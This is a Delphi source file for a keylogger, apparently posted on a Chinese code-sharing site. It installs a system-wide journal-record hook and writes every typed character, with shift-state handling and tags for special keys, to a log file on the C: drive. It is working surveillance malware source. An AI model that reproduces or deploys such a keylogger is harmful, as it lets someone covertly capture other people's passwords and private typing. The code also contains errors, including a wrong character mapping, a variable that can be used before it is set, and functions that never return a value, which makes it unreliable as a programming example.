📄 hookproc.pas
字号:
//程序实现部分
unit hookproc;
interface
uses
Windows, Messages, SysUtils, Controls, StdCtrls;
var
g_hLogHook : HHook;
g_hLastFocus : HWND;
g_PrvChar: char;
function setkeyhook:bool;export;//加载钩子
function endkeyhook:bool;export;//卸载钩子
implementation
{$R *.dfm}
const
KeyPressMask=$80000000;
function JournalLogProc(iCode: Integer;wParam:WPARAM;lParam:LPARAM): Integer;stdcall;
var
evt: PEVENTMSG;
i : Integer;
vKey : Integer;
ch : char;
str: array[0..9] of char;
txt: TextFile;
iShift,iCapital,iNumLock : Integer;
bShift,bCapital,bNumLock : Boolean;
begin
if iCode<0 then begin
Result := CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
Exit;
end;
if iCode=HC_ACTION then begin
evt:=PEVENTMSG(lParam);
AssignFile(txt,'c:\logfile.txt');
if not fileexists('c:\logfile.txt') then
ReWrite(txt)
else
Append(txt);
if evt^.message=WM_KEYDOWN then begin
vKey:=LoByte(evt^.paramL);
end;
iShift := GetKeyState($10);
iCapital := GetKeyState($14);
iNumLock := GetKeyState($90);
bShift := (iShift and KeyPressMask)=KeyPressMask;
bCapital := (iCapital and 1)=1;
bNumLock := (iNumLock and 1)=1;
if (vKey >=48) and (vkey<=57) then begin
if not bShift then
write(txt,chr(vKey));
end;
if (vKey>=65) and (vKey<=90) then begin
if not bCapital then begin
if bShift then
ch:=chr(vKey)
else
ch:=chr(vKey+32);
end
else begin
if bShift then
ch:=chr(vKey+32)
else
ch:= chr(vKey);
end;
write(txt,ch);
end;
if (vKey>=96) and (vKey<=105) then begin
if bNumLock then
write(txt,chr(vkey-96+48));
end;
if (vKey>=186) and (vKey<=222) then begin
case vKey of
186:
begin
if not bShift then
ch:=';'
else
ch:=':';
end;
187:
begin
if not bShift then
ch:='='
else
ch:='+';
end;
188:
begin
if not bShift then
ch:=','
else
ch:='<';
end;
189:
begin
if not bShift then
ch:='-'
else
ch:='_';
end;
190:
begin
if not bShift then
ch:='.'
else
ch:='>';
end;
191:
begin
if not bShift then
ch:='/'
else
ch:='?';
end;
192:
begin
if not bShift then
ch:='`'
else
ch:='~';
end;
219:
begin
if not bShift then
ch:='['
else
ch:='{';
end;
220:
begin
if not bShift then
ch:='\'
else
ch:='|';
end;
221:
begin
if not bShift then
ch:=']'
else
ch:='}';
end;
222:
begin
if not bShift then
ch:='\'
else
ch:='/';
end;
else
ch:='n';
end;
if ch<>'n' then
write(txt,ch);
end;
if (wParam>=112) and (wParam<=123) then begin
//功能键F1-F12
end;
if(vKey>=8) and (vKey<=46) then begin
case vKey of
8:
begin
strcopy(str,'[BK]');
end;
9:
begin
strcopy(str,'[TAB]');
end;
13:
begin
strcopy(str,'[EN]');
end;
32:
begin
strcopy(str,'[SP]');
end;
33:
begin
strcopy(str,'[PU]');
end;
34:
begin
strcopy(str,'[PD]');
end;
35:
begin
strcopy(str,'[END]');
end;
36:
begin
strcopy(str,'[HOME]');
end;
37:
begin
strcopy(str,'[LF]');
end;
38:
begin
strcopy(str,'[UF]');
end;
39:
begin
strcopy(str,'[RF]');
end;
40:
begin
strcopy(str,'[DF]');
end;
45:
begin
strcopy(str,'[INS]');
end;
46:
begin
strcopy(str,'[DEL]');
end
else
ch:='n' ;
end;
if (ch<>'n') then begin
if (g_PrvChar <> chr(vKey)) then begin
write(txt,str);
g_PrvChar:= chr(vKey);
end;
end;
end;
end;
CloseFile(txt);
result := CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
end;
function Setkeyhook:bool;export;
begin
if g_hLogHook=0 then begin
g_hLogHook := SetWindowsHookEx(WH_JOURNALRECORD,JournalLogProc,HInstance,0);
end;
end;
function endkeyhook:bool;export;
begin
if g_hLogHook<>0 then begin
UnhookWindowsHookEx(g_hLogHook);
g_hLogHook:= 0;
end;
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -